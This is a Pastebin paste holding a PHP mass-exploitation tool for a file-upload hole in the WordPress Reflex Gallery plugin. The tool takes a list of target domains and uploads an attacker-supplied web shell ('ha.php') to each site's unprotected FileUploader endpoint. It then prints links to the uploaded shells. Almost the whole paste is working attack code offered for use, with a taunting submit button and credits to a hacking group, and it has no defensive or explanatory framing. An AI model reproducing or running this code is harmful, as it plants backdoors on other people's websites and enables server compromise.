KeyDown

WordPress ReflexGallery mass exploiter

Jan 2nd, 2016
500
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.01 KB | None | 0 0
  1. visit my blog => www.annamcoder.tk
  2.  
  3. CUT HERE --------------------------------------------------------------------------------------------------------------------------
  4.  
  5. <center><br><br>
  6. <font color="lime" size="6">
  7. <b>WP ReflexGallery exploiter</b></font>
  8. <br><br>
  9. <form action="" method="POST">
  10. <textarea name="url" style="margin: 0px; width: 626px; height: 236px;">put your target without http://
  11. example :
  12.  
  13. www.site.com
  14. www.site2.com
  15. www.site3.com
  16. www.site4.com
  17. www.site5.com
  18. </textarea><br>
  19. <br><br><input type="submit" class="btn btn-success" value="-=[ GO TO HELL SOON ]=-"/>
  20. <br><br>
  21. <?php
  22. #===============================================#
  23. #------------WP Reflex Gallery Exploiter----------#
  24. #------------Coded By Synchronizer--------------#
  25. #-Gretz : Stupidc0de - IDCA - Indonesian Coder--#
  26. #===============================================#
  27. if(isset($_POST['url'])) {
  28. function StupidC0de($URL) {
  29. if(!function_exists('curl_init')) {
  30. die ("Curl PHP package not installed");
  31. }
  32. $uploadfile= "ha.php"; #Your shell here
  33. $synchronizer = curl_init();
  34. curl_setopt($synchronizer, CURLOPT_POST, true);
  35. curl_setopt($synchronizer, CURLOPT_POSTFIELDS,
  36. array('qqfile'=>"@$uploadfile"));
  37. curl_setopt($synchronizer, CURLOPT_RETURNTRANSFER, 1);
  38. curl_setopt($synchronizer, CURLOPT_URL, $URL);
  39. curl_setopt($synchronizer, CURLOPT_HEADER, false);
  40. $response = curl_exec($synchronizer);
  41. return $response;
  42. }
  43. $textarea = htmlspecialchars(trim($_POST['url']));
  44. $j = explode("\r\n",$textarea);
  45. foreach($j as $sync){
  46. $n = StupidC0de($sync."/wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php");
  47. $b = str_replace('{"success":true,"fileName":"\/\/\/', "", $n);
  48. $c = str_replace('"}', "", $b);
  49. $d = $sync."/wp-content/uploads/".$c;
  50. if(preg_match('/{"success":true,"/',$n)==1) {
  51. echo "<center><a href='http://$d' target='_blank'><font color=lime>$d</font></a> - <font color=green><b>SUKSES</b></font></center><br>";
  52. } else {
  53. echo "<center>".$sync."<font color=red><b> - FAILED !</b></font></center><br>";
  54. }
  55. }
  56. }
  57. ?>
Advertisement
Add Comment
Please, Sign In to add comment